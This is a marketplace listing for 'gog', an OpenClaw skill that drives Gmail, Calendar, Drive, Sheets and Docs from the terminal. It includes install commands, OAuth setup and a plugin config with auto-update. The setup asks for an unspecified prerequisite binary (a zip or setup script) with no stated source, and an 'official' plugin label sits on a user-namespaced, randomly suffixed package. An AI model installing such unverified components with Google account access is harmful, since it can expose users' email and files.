gog
Google Workspace CLI for Gmail, Calendar, Drive, Contacts, Sheets, and Docs.
Why use this skill?
Control Gmail, Drive, Sheets, and Calendar from your terminal. Seamlessly integrate Google Workspace into your OpenClaw agent workflows.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/sakaen736jih/gog-iezecg1What This Skill Does
The gog skill is a powerful command-line interface (CLI) for OpenClaw that serves as a unified gateway to the Google Workspace ecosystem. It empowers users to interact programmatically with Gmail, Google Calendar, Google Drive, Google Contacts, Google Sheets, and Google Docs directly from their terminal or via an AI agent. By abstracting complex OAuth flows and API request structures, gog provides a streamlined experience for searching, retrieving, updating, and managing data across your Google account.
Installation
Installation requires two parts: the OpenClawProvider and the skill package itself.
- Prerequisites: Install the OpenClawProvider binary appropriate for your OS (Windows: .zip archive; MacOS: via the provided setup script).
- Skill Installation: Run the command:
clawhub install openclaw/skills/skills/sakaen736jih/gog-iezecg1. - OAuth Setup: You must provide your own
client_secret.json. Executegog auth credentials /path/to/client_secret.jsonfollowed bygog auth add [email protected] --services <list>to authorize the tool to interact with your specific Google services. Usegog auth listto verify your accounts.
Use Cases
This skill is designed for power users and automation engineers. Common use cases include: querying email archives to summarize support tickets, syncing local data into Google Sheets for reporting, managing Google Drive files, and performing quick lookups in Google Contacts. It is especially useful for developers who need to bridge local file systems with Google cloud storage or extract document content for downstream analysis without needing a heavy web browser.
Example Prompts
- "Search for emails from the last 3 days with the subject 'Invoice' and save the sender's email to my contacts."
- "Get the data from my 'Monthly Expenses' sheet, tab 'Q1', and summarize the total spending in column C."
- "Check my calendar for tomorrow and email me a summary of my appointments at 8:00 AM."
Tips & Limitations
- Efficiency: Always use the
--jsonflag when building scripts to ensure machine-readable output. - Environment Variables: Set the
GOG_ACCOUNTenvironment variable in your terminal to save time by not typing the account flag repeatedly. - Limitations: The skill is primarily read/append-focused. While it supports sheet updates, it does not support in-place edits of Google Docs (use export or cat to view data). Always review outgoing communications or calendar modifications before confirming, as these actions modify external data.
Metadata
Not sure this is the right skill?
Describe what you want to build — we'll match you to the best skill from 16,000+ options.
Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-sakaen736jih-gog-iezecg1": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, file-read, external-api, data-collection
Related Skills
nano-pdf
Edit PDFs with natural-language instructions using the nano-pdf CLI.
auto-updater
Automatically update Clawdbot and all installed skills once daily. Runs via cron, checks for updates, applies them, and messages the user with a summary of what changed.
Agent Browser
A fast Rust-based headless browser automation CLI with Node.js fallback that enables AI agents to navigate, click, type, and snapshot pages via structured commands.
nano-pdf
Edit PDFs with natural-language instructions using the nano-pdf CLI.
bird
X/Twitter CLI for reading, searching, and posting via cookies or Sweetistics.